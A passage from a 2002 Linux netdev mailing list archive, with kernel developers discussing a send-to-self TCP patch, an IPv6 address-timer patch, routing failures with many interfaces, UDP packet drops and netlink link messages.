greearb@candelatech.com Precedence: bulk X-list: netdev kuznet@ms2.inr.ac.ru wrote: > Hello! >>+#ifdef CONFIG_NET_SENDTOSELF >>+ if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) >>+#else >> if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) >>+#endif > > > This chunk is noop, sk here is a dummy socket internal to kernel, > where sk->bound_dev_if is identical zero. Grep code to see > what it is used for. Ok, I took out my changes above and sure enough, it still seems to work. I have a question though: If this method is ever called to send an RST, will it work? It seems to me that it may not be routed correctly, but I don't understand all the circumstances that would cause this method to be called either... > > The same ("noopness") is true about 90% of the patch. F.e. all the messing > inside tcp with openreqs is noop. What about this part, do you think it is not needed either? It appeared to me that w/out this, the sending socket and the receiving socket could hash to the same thing, and so greatly confused themselves. For instance, src=1.2.3.4, port 9999, dst=1.2.3.5 port 9999 I believe I was seeing the first packet (SYN) from the originator being delivered back to the socket that sent the SYN because no new socket on the receiving side was created because the hash found one (it found the sending one, unfortunately). + /* Will only take netdevice_id into the equation if neither are + * 0. This should be backwards compatible with older code, and also + * let us connect to ourselves over external ports. Otherwise, we + * get confused about which connection is the originator v/s the + * receiver of the open request. --Ben + */ for (prev = &lopt->syn_table[tcp_v4_synq_hash(raddr, rport)]; (req = *prev) != NULL; prev = &req->dl_next) { if (req->rmt_port == rport && req->af.v4_req.rmt_addr == raddr && req->af.v4_req.loc_addr == laddr && - TCP_INET_FAMILY(req->class->family)) { + TCP_INET_FAMILY(req->class->family) +#ifdef CONFIG_NET_SENDTOSELF + && ((!netdevice_id) || (!req->bound_dev_if) || + (req->bound_dev_if == netdevice_id))) { +#else + ) { +#endif Thanks again, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From yoshfuji@linux-ipv6.org Fri Sep 27 02:12:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 02:13:01 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R9CttG007639 for ; Fri, 27 Sep 2002 02:12:56 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8R9Cu1o016767; Fri, 27 Sep 2002 18:12:56 +0900 Date: Fri, 27 Sep 2002 18:12:56 +0900 (JST) Message-Id: <20020927.181256.112824147.yoshfuji@linux-ipv6.org> To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com CC: usagi@linux-ipv6.org Subject: [PATCH] IPv6: Refine IPv6 Address Validation Timer From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello! Current IPv6 address validation timer is rough and timing of address validation is not precise. This patch refines timing of address validation timer. Following patch is against linux-2.4.19. Thank you in advance. ------------------------------------------------------------------- Patch-Name: Refine IPv6 Address Validation Timer Patch-Id: FIX_2_4_19_ADDRCONF_TIMER-20020905 Patch-Author: YOSHIFUJI Hideaki / USAGI Project Credit: YOSHIFUJI Hideaki / USAGI Project Reference: RFC2462 ------------------------------------------------------------------- Index: net/ipv6/addrconf.c =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/net/ipv6/addrconf.c,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.4.3 diff -u -r1.1.1.1 -r1.1.1.1.4.3 --- net/ipv6/addrconf.c 2002/08/20 09:47:02 1.1.1.1 +++ net/ipv6/addrconf.c 2002/09/26 06:58:20 1.1.1.1.4.3 @@ -26,6 +26,8 @@ * packets. * yoshfuji@USAGI : Fixed interval between DAD * packets. + * YOSHIFUJI Hideaki @USAGI : improved accuracy of + * address validation timer. */ #include @@ -93,6 +95,7 @@ void addrconf_verify(unsigned long); static struct timer_list addr_chk_timer = { function: addrconf_verify }; +static spinlock_t addrconf_verify_lock = SPIN_LOCK_UNLOCKED; static int addrconf_ifdown(struct net_device *dev, int how); @@ -1616,9 +1619,15 @@ void addrconf_verify(unsigned long foo) { struct inet6_ifaddr *ifp; - unsigned long now = jiffies; + unsigned long now, next; int i; + spin_lock_bh(&addrconf_verify_lock); + now = jiffies; + next = now + ADDR_CHECK_FREQUENCY; + + del_timer(&addr_chk_timer); + for (i=0; i < IN6_ADDR_HSIZE; i++) { restart: @@ -1626,24 +1635,32 @@ for (ifp=inet6_addr_lst[i]; ifp; ifp=ifp->lst_next) { unsigned long age; - if (ifp->flags & IFA_F_PERMANENT) + spin_lock(&ifp->lock); + if (ifp->flags & IFA_F_PERMANENT) { + spin_unlock(&ifp->lock); continue; + } age = (now - ifp->tstamp) / HZ; - if (age > ifp->valid_lft) { + if (age >= ifp->valid_lft) { + spin_unlock(&ifp->lock); in6_ifa_hold(ifp); write_unlock(&addrconf_hash_lock); ipv6_del_addr(ifp); goto restart; - } else if (age > ifp->prefered_lft) { + } else if (age >= ifp->prefered_lft) { + /* jiffies - ifp->tsamp > age >= ifp->prefered_lft */ int deprecate = 0; - spin_lock(&ifp->lock); if (!(ifp->flags&IFA_F_DEPRECATED)) { deprecate = 1; ifp->flags |= IFA_F_DEPRECATED; } + + if (time_before(ifp->tstamp + ifp->valid_lft * HZ, next)) + next = ifp->tstamp + ifp->valid_lft * HZ; + spin_unlock(&ifp->lock); if (deprecate) { @@ -1654,12 +1671,24 @@ in6_ifa_put(ifp); goto restart; } + } else { + /* ifp->prefered_lft <= ifp->valid_lft */ + if (time_before(ifp->tstamp + ifp->prefered_lft * HZ, next)) + next = ifp->tstamp + ifp->prefered_lft * HZ; + spin_unlock(&ifp->lock); } } write_unlock(&addrconf_hash_lock); } - mod_timer(&addr_chk_timer, jiffies + ADDR_CHECK_FREQUENCY); + if (time_before(now + HZ/2, jiffies)) { + ADBG((KERN_WARNING + "addrconf_verify(): too slow; jiffies - now = %ld\n", + (long)jiffies - (long)now)); + } + addr_chk_timer.expires = time_before(next, jiffies + HZ) ? jiffies + HZ : next; + add_timer(&addr_chk_timer); + spin_unlock_bh(&addrconf_verify_lock); } static int @@ -2033,8 +2062,7 @@ proc_net_create("if_inet6", 0, iface_proc_info); #endif - addr_chk_timer.expires = jiffies + ADDR_CHECK_FREQUENCY; - add_timer(&addr_chk_timer); + addrconf_verify(0); rtnetlink_links[PF_INET6] = inet6_rtnetlink_table; #ifdef CONFIG_SYSCTL addrconf_sysctl.sysctl_header = From davem@redhat.com Fri Sep 27 02:31:39 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 02:31:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R9VctG013436 for ; Fri, 27 Sep 2002 02:31:39 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id CAA14148; Fri, 27 Sep 2002 02:25:15 -0700 Date: Fri, 27 Sep 2002 02:25:15 -0700 (PDT) Message-Id: <20020927.022515.78074730.davem@redhat.com> To: yoshfuji@linux-ipv6.org Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer From: "David S. Miller" In-Reply-To: <20020927.181256.112824147.yoshfuji@linux-ipv6.org> References: <20020927.181256.112824147.yoshfuji@linux-ipv6.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: YOSHIFUJI Hideaki / $B5HF#1QL@(B Date: Fri, 27 Sep 2002 18:12:56 +0900 (JST) This patch has problems. @@ -1626,24 +1635,32 @@ for (ifp=inet6_addr_lst[i]; ifp; ifp=ifp->lst_next) { unsigned long age; - if (ifp->flags & IFA_F_PERMANENT) + spin_lock(&ifp->lock); + if (ifp->flags & IFA_F_PERMANENT) { + spin_unlock(&ifp->lock); continue; + } This is completely unnecessary. Nobody modifies the IFA_F_PERMANENT flag after the addr entry has been added to the hash table and this runs under the addrconf hash lock already. Alexey will have to comment on the rest. From pasky@machine.sinus.cz Fri Sep 27 04:43:13 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 04:43:20 -0700 (PDT) Received: from machine.sinus.cz (pasky.ji.cz [62.44.12.54]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RBhBtG016040 for ; Fri, 27 Sep 2002 04:43:12 -0700 Received: (qmail 4808 invoked by uid 2001); 27 Sep 2002 11:43:09 -0000 Date: Fri, 27 Sep 2002 13:43:09 +0200 From: Petr Baudis To: kuznet@ms2.inr.ac.ru Cc: roque@di.fc.ul.pt, pekkas@netcore.fi, netdev@oss.sgi.com, xs26-dev@xs26.net Subject: Linux problems with hundreds of interfaces/routes Message-ID: <20020927114309.GR2655@pasky.ji.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-message-flag: Outlook : A program to spread viri, but it can do mail too. X-archive-position: 342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pasky@xs26.net Precedence: bulk X-list: netdev Hello, as you probably remember, I'm running XS26 Point of Presence, currently on linux 2.4.19-pre5. It has currently around 2185 v6 routes and 591 interfaces. The problem is that lately, some magic threshold was crossed and suddenly routes started to act mysteriously and fail - sometimes, zebra says something like: 2002/09/27 11:11:03 ZEBRA: netlink-listen error: No buffer space available, type=RTM_NEWROUTE(24), seq=426, pid=0 (but not always), and random routes start and stop working, like: 12:38:53.607852 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request 12:38:54.646534 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request 12:38:55.619879 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request 12:38:56.623530 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request 12:38:56.625014 3ffe:80ef:100:: > 3ffe:80ed:100:201::1: icmp6: echo reply 12:38:57.635249 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request 12:38:57.635291 3ffe:80ef:100:: > 3ffe:80ed:100:201::1: icmp6: echo reply 12:38:58.643860 3ffe:80ed:100:201::1 > 3ffe:80ef:100::: icmp6: echo request (3ffe:80ef:100:: is address of a local interface). Apparently bgpd removed some route at that moment and route for this came into game. I think that there's some bug/limit in kernel regarding the routing table size, causing that some routes aren't ever used (altough they are listed). Have you please any idea about this problem? I discovered few sysctls - net.ipv6.route.max_size which was 4096, so I increased it to 8192 and then to 65536, but it had no effect at all. Then I noticed net.core.rmem_max and net.core.wmem_max, so I increased it from 65535 to 1M, but it had no effect at all as well. Thanks in advance for any hint, -- Petr "Pasky" Baudis * ELinks maintainer * IPv6 guy (XS26 co-coordinator) * IRCnet operator * FreeCiv AI occassional hacker . Girls are like internet domain names, the ones I like are already taken. Well, you can still get one from a strange country :-P . Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/ From Eric.Lemoine@ens-lyon.fr Fri Sep 27 05:01:50 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 05:01:52 -0700 (PDT) Received: from mailhost.ens-lyon.fr (pluvier.ens-lyon.fr [140.77.167.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RC1ntG016622 for ; Fri, 27 Sep 2002 05:01:50 -0700 Received: from [140.77.13.2] (helo=[140.77.13.2]) by mailhost.ens-lyon.fr with esmtp (Exim 3.35 #1 (Debian)) id 17utoT-0003d7-00; Fri, 27 Sep 2002 14:01:41 +0200 Received: from eric by (null) with local (MasqMail 0.1.16) id 17utpA-0Ef-00; Fri, 27 Sep 2002 14:02:24 +0200 Date: Fri, 27 Sep 2002 14:02:24 +0200 From: Eric Lemoine To: Eric Lemoine Cc: netdev@oss.sgi.com Subject: Re: udp weirdness Message-ID: <20020927120223.GH343@hookipa> References: <20020924065046.GF392@hookipa> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020924065046.GF392@hookipa> User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@ens-lyon.fr Precedence: bulk X-list: netdev On Tue, Sep 24, 2002 at 08:50:46AM +0200, Eric Lemoine wrote: > I'm observing some UDP weirdness, or I'd better say some UDP behaviour > that I can't explain. > > Two machines: one sending a UDP flow (using sendto) and another receiving > this UDP flow (using bind + recv). > > When the dgram length is lower that 357 Bytes I observe strange results > at the send side. My home-made udp_tx program gives the following: > > $./udp_tx -h 192.168.4.1 -m 357 > 357 1312621 357.518 > > 357 is the dgram length (in B), 1312621 the number of dgrams sent and > 357.518 the perceived thruput (in Mbits/s). The weirdness is that I > get 357.518 Mbits/s whereas the underlying network is 10Mbits/s! > > At the receive side the results are consistent (obviously): > > $./udp_rx -m 357 > 357 29519 8.00884 > > on the send machine before and after the run also > gives me such a large amount of sent packets (~1312700), whereas > confirms that about 29519 packets have been sent > out. > > Below 357 Bytes, the same kind of results are observed. Above 357 Bytes, > the results make more sense to me: > > $./udp_tx -h 192.168.4.1 -m 358 > 358 29505 8.04393 > > $./udp_rx -m 358 > 358 29468 8.0179 > > Does anybody know where I lose packets? And why do I lose them only when > the dgram length is below 357 Bytes? > > BTW, I'm running 2.4.18-vanilla w/ the 3c59x driver. I figured out that packets can be dropped in pfifo_fast_enqueue() [the default qdisc's enqueue func], even though the driver/kernel flow control has triggered. And sendto does not notify the user when packet gets dropped because the output queue overflows (as indicated in sendto manpage). Why doesn't the kernel just put the process into sleep instead of dropping packets? Thanks. -- Eric From mcmanus@datapower.ducksong.com Fri Sep 27 06:47:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 06:47:40 -0700 (PDT) Received: from datapower.ducksong.com (ip67-93-141-186.z141-93-67.customer.algx.net [67.93.141.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RDlWtG032144 for ; Fri, 27 Sep 2002 06:47:33 -0700 Received: (from mcmanus@localhost) by datapower.ducksong.com (8.11.6/8.11.6) id g8RDm6s13500 for netdev@oss.sgi.com; Fri, 27 Sep 2002 09:48:06 -0400 Date: Fri, 27 Sep 2002 09:48:06 -0400 From: "Patrick R. McManus" To: netdev@oss.sgi.com Subject: Re: netlink sockets and rtm_newlink messages Message-ID: <20020927134806.GA12745@ducksong.com> References: <20020926223853.GA4062@ducksong.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020926223853.GA4062@ducksong.com> User-Agent: Mutt/1.4i X-archive-position: 344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcmanus@ducksong.com Precedence: bulk X-list: netdev for the sake of google, I'll followup to my own query. Sanity checks are appreciated too. the messages weren't identical - ifi_change had IFF_RUNNING set in one message and not the other. the man page says "ifi_change is reserved for future use" so I didn't know what to make of it before digging into the kernel src (2.4.19). -Pat [pat atducksong: Sep 26 18:38] > hello - > > I've got a little userspace app that listens to a netlink socket and > filters for messages of type RTM_NEWLINK to check for interfaces going > up or down (checking ifi_flags to make that determination).. > > the only stumbling point is that I each time I do something like > "ifconfig eth4 down" my app reads 2 identical RTM_NEWLINK messages > instead of one (same behavior on up case too.) > > any thoughts on why? I didn't really know how to interpret sockaddr > nl.nl_groups.. 1 seems to give me the same duplicates as ~0.. 0 gives me nothing. > > > -Pat > From hadi@cyberus.ca Fri Sep 27 07:04:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 07:04:12 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RE48tG000319 for ; Fri, 27 Sep 2002 07:04:09 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id KAA26228; Fri, 27 Sep 2002 10:04:08 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8RDv0X04502; Fri, 27 Sep 2002 09:57:00 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 27 Sep 2002 09:57:00 -0400 (EDT) From: jamal To: Roberto Nibali cc: , Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification In-Reply-To: <3D936CB9.1040706@drugphish.ch> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Thu, 26 Sep 2002, Roberto Nibali wrote: > Is there a code architecture draft somewhere? You mean for what i posted? Dont you think i already went beyond the classical open source model by putting out a user guide? ;-> ;-> Just ask me questions in private and i'll try and help. cheers, jamal From hadi@cyberus.ca Fri Sep 27 07:19:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 07:19:48 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8REJhtG000961 for ; Fri, 27 Sep 2002 07:19:43 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id KAA02788; Fri, 27 Sep 2002 10:19:41 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8RECRo04568; Fri, 27 Sep 2002 10:12:27 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 27 Sep 2002 10:12:26 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , , , Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter In-Reply-To: <20020926.135259.62665945.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Dave, now that i followed the thread on lk (slrn is great; thanks Jason); I am actually interested to find out how you are going to pull what you propose ;-> There are not that many things that will work well with a dst-cache like idea. I actually considered the stacking idea when i first was trying to prototype code that i posted. It is much harder to make use of in practise. At least this is my experience. If you look at the scheme i posted, youll see that the policy could be to direct the packets to a IPV4-forwarding block or totaly bypass it etc (i just didnt wanna jump into that step yet sicne it is quiet involved architecturaly) In any case we need to encourage people like the hipac authors to be putting out things (i only wish theyd incorporate it into the tc framework!); whatever changes made should consider that there is more than one way to do things and people will always come with better ways to do certain portions of the packet path. cheers, jamal On Thu, 26 Sep 2002, David S. Miller wrote: > From: James Morris > Date: Fri, 27 Sep 2002 01:27:41 +1000 (EST) > > So, this could be used for generic network layer encapsulation, and be > used for GRE tunnels, SIT etc. without the kinds of kludges currently in > use? Sounds nice. > > Such IPIP tunnels have very real problems though, since only 64-bits > of packet quoting are required in ICMP errors, it is often impossible > to deal with PMTU requests properly, see "#ifndef > I_WISH_WORLD_WERE_PERFECT" in net/ipv4/ip_gre.c > > > From hadi@cyberus.ca Fri Sep 27 07:43:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 07:43:50 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8REhltG002487 for ; Fri, 27 Sep 2002 07:43:47 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id KAA13709; Fri, 27 Sep 2002 10:43:47 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8REade04618; Fri, 27 Sep 2002 10:36:39 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 27 Sep 2002 10:36:39 -0400 (EDT) From: jamal To: "Patrick R. McManus" cc: Subject: Re: netlink sockets and rtm_newlink messages In-Reply-To: <20020927134806.GA12745@ducksong.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev ifi_change is valid in RTM_NEWLINK messages; You need to check IFF_RUNNING and IFF_UP to see if the device went admin up or down. Another reference point for you at: section 3.3.3.1 of http://www.ietf.org/internet-drafts/draft-ietf-forces-netlink-03.txt print out all the flags in the message headers that you receive. [I just realized the draft also doesnt mention your issue, probably too late o change it now that it is going into RFC status] cheers, jamal On Fri, 27 Sep 2002, Patrick R. McManus wrote: > for the sake of google, I'll followup to my own query. Sanity checks > are appreciated too. > > the messages weren't identical - ifi_change had IFF_RUNNING set in one > message and not the other. the man page says "ifi_change is reserved > for future use" so I didn't know what to make of it before digging > into the kernel src (2.4.19). > > -Pat > > [pat atducksong: Sep 26 18:38] > > hello - > > > > I've got a little userspace app that listens to a netlink socket and > > filters for messages of type RTM_NEWLINK to check for interfaces going > > up or down (checking ifi_flags to make that determination).. > > > > the only stumbling point is that I each time I do something like > > "ifconfig eth4 down" my app reads 2 identical RTM_NEWLINK messages > > instead of one (same behavior on up case too.) > > > > any thoughts on why? I didn't really know how to interpret sockaddr > > nl.nl_groups.. 1 seems to give me the same duplicates as ~0.. 0 gives me nothing. > > > > > > -Pat > > > > > From kuznet@ms2.inr.ac.ru Fri Sep 27 07:49:28 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 07:49:30 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8REnRtG003623 for ; Fri, 27 Sep 2002 07:49:28 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id SAA21026; Fri, 27 Sep 2002 18:49:00 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271449.SAA21026@sex.inr.ac.ru> Subject: Re: Linux problems with hundreds of interfaces/routes To: pasky@xs26.net (Petr Baudis) Date: Fri, 27 Sep 2002 18:49:00 +0400 (MSD) Cc: pekkas@netcore.fi, netdev@oss.sgi.com, xs26-dev@xs26.net In-Reply-To: <20020927114309.GR2655@pasky.ji.cz> from "Petr Baudis" at Sep 27, 2 01:43:09 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > 2002/09/27 11:11:03 ZEBRA: netlink-listen error: No buffer space available, type=RTM_NEWROUTE(24), seq=426, pid=0 This means that you exceeded limit on size of neighbour table, which is quite predictable when you have lots of interfaces. Tune neighbour table size, it is net/ipv6/neigh/default/gc_thresh3 mostly. Alexey From hadi@cyberus.ca Fri Sep 27 08:00:13 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:00:17 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RF0CtG004080 for ; Fri, 27 Sep 2002 08:00:13 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id LAA21003; Fri, 27 Sep 2002 11:00:08 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8REr0104672; Fri, 27 Sep 2002 10:53:00 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 27 Sep 2002 10:53:00 -0400 (EDT) From: jamal To: Eric Lemoine cc: Subject: Re: udp weirdness In-Reply-To: <20020927120223.GH343@hookipa> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Fri, 27 Sep 2002, Eric Lemoine wrote: > I figured out that packets can be dropped in pfifo_fast_enqueue() > [the default qdisc's enqueue func], even though the driver/kernel > flow control has triggered. > > And sendto does not notify the user when packet gets dropped because > the output queue overflows (as indicated in sendto manpage). > > Why doesn't the kernel just put the process into sleep instead of > dropping packets? > What trigger do you suggest to wake up the process again? A better idea maybe to return something to the socket so it can manage things instead -- not sure what to return though that wouldnt break some standard; cheers, jamal From kuznet@ms2.inr.ac.ru Fri Sep 27 08:02:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:02:21 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RF2ItG004466 for ; Fri, 27 Sep 2002 08:02:19 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id TAA21079; Fri, 27 Sep 2002 19:01:53 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271501.TAA21079@sex.inr.ac.ru> Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this To: greearb@candelatech.com (Ben Greear) Date: Fri, 27 Sep 2002 19:01:53 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <3D93FBA6.6080905@candelatech.com> from "Ben Greear" at Sep 26, 2 11:33:10 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > I have a question though: If this method is ever called to send an RST, > will it work? Work for what? This method is used when you have no socket in the system matching to this skb. :-) > What about this part, do you think it is not needed either? It appeared > to me that w/out this, the sending socket and the receiving socket ... > sending one, unfortunately). No, this is impossible. addrs/ports identity identifies socket unambiguously. But even this does not matter, your patch is noop by much simpler pure "syntactical" reason, it copies req->bound_dev_if from listening socket. And after this the check in lookup req degenerates to TRUE __identitically__. :-) Alexey From matti.aarnio@zmailer.org Fri Sep 27 08:04:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:04:17 -0700 (PDT) Received: from mail.zmailer.org (mail.zmailer.org [62.240.94.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RF4DtG004841 for ; Fri, 27 Sep 2002 08:04:14 -0700 Received: (mea@mea-ext) by mail.zmailer.org id convert rfc822-to-quoted-printable; Fri, 27 Sep 2002 18:04:12 +0300 Date: Fri, 27 Sep 2002 18:04:12 +0300 From: Matti Aarnio To: jamal Cc: Eric Lemoine , netdev@oss.sgi.com Subject: Re: udp weirdness Message-ID: <20020927150412.GI30392@mea-ext.zmailer.org> References: <20020927120223.GH343@hookipa> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: QUOTED-PRINTABLE In-Reply-To: X-archive-position: 351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: matti.aarnio@zmailer.org Precedence: bulk X-list: netdev On Fri, Sep 27, 2002 at 10:53:00AM -0400, jamal wrote: > On Fri, 27 Sep 2002, Eric Lemoine wrote: >=20 > > I figured out that packets can be dropped in pfifo_fast_enqueue() > > [the default qdisc's enqueue func], even though the driver/kernel > > flow control has triggered. =2E.. > What trigger do you suggest to wake up the process again? > A better idea maybe to return something to the socket so it can > manage things instead -- not sure what to return though that wouldnt > break some standard; "man sendto" error return codes: ENOBUFS The output queue for a network interface was full. 